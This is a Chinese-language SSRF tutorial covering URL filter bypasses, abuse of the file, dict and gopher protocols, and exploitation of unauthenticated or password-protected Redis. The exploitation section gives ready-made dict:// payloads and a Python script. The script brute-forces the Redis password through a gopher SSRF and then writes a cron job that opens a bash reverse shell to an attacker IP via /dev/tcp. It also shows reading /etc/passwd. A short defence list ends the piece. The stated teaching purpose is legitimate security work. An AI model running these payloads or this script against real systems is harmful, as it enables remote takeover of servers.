免责声明
文章所涉及内容,仅供安全研究与教学之用,由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何法律及连带责任。
原理
攻击者伪造服务端发起请求,利用服务器的身份发送请求
危害
- 利用file协议读取本地文件
- DOS,cc攻击(请求大文件,始终保持连接keep alive always)等等
- 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等)
- 各个协议调用探针:http,file,dict,ftp,gopher等
出现场景
分享,翻译等网址或请求体参数值出现网址的地方
从URL关键字中寻找
利用google 语法加上这些关键词
share
wap
url
link
src
source
target
u
display
source
URl
imageURL
domain
ssrf常见绕过
可以尝试采用http基本身份认证的方式绕过
如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差
异
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com
短网址绕过
比如百度短地址https://dwz.cn/
采用进制转换
127.0.0.1 八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.
利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1
(xip.io 现在好像用不了了,可以找找其他的)
利用[::]
可以利用[::]来绕过localhost
http://169.254.169.254>>http://[::169.254.169.254]
利用句号
127。0。0。1 >>> 127.0.0.1
CRLF 编码绕过
%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入
example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a
利用封闭的数字
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
http://169.254.169.254>>>http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④]
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
①②⑦.⓪.⓪.①
SSRF漏洞利用
利用URL伪协议
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议
协议: 提权约定或者提前商量的格式
http/https://dns.log地址
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议 windows 域控
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
利用redis反弹shell
redis没有密码
使用redis客户端连接redis服务端
FLUSHALL 清理缓存
set dms "\n\n*/1 * * * * bash -i >& /dev/tcp/10.0.0.158/8888 0>&1\n\n"
CONFIG set dbfilename root
CONFIG set dir /var/spool/cron/
save
url中利用
dict://10.0.0.148:6379/FLUSHALL
dict://10.0.0.148:6379/config:set:dbfilename:root
dict://10.0.0.148:6379/config:set:dir:/var/spool/cron
dict://10.0.0.148:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.0.0.143/9999\x200\x3e\x261\n\n"
dict://10.0.0.148:6379/save
有密码
脚本破解,改存在ssrf漏洞的url,以及反弹shell的地址和端口,当前目录放一个密码字典
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
from urllib.parse import quote
url = "http://10.0.0.137/pikachu/vul/ssrf/ssrf_curl.php?url="
gopher = "gopher://10.0.0.148:6379/_"
def get_password():
f = open("password.txt","r")
return f.readlines()
def encoder_url(data):
encoder = ""
for single_char in data:
# 先转为ASCII
encoder += str(hex(ord(single_char)))
encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
return encoder
for password in get_password():
# 攻击脚本
data = """
auth %s
quit
""" % password #不断的用字典中的密码去替换
getshell = """
auth %s
flushall
set mars "\\n\\ */1 * * * * bash -i >& /dev/tcp/10.0.0.143/9999 0>&1\\n\\n"
config set dir /var/spool/cron/
config set dbfilename root
save
quit
"""%password
# 二次编码
encoder = encoder_url(encoder_url(data))
# 生成payload
payload = url + quote(gopher,'utf-8') + encoder
print(payload)
# 发起请求
request = urllib.request.Request(payload)
response = urllib.request.urlopen(request).read()
if response.decode().count("+OK") > 1:
print("find password : " + password)
#print(getshell)
encoder_2 = encoder_url(encoder_url(getshell))
payload_2 = url + quote(gopher,'utf-8')+encoder_2
#print(payload_2)
request = urllib.request.Request(payload_2)
response = urllib.request.urlopen(request).read()
print("The packet of getshell has been sent!")
break
防御
-
限制访问的协议。仅仅允许http和https请求,可以防止类似于file:///,gopher://,ftp:// 等引起的问 题。
-
限制访问内网IP,添加白名单
-
限制请求的端口为http常用的端口,比如,80,443,8080,8090。
-
限制请求的目标网址,防止对内网进行攻击
-
过滤返回的详细信息,统一报错信息,防止暴露敏感信息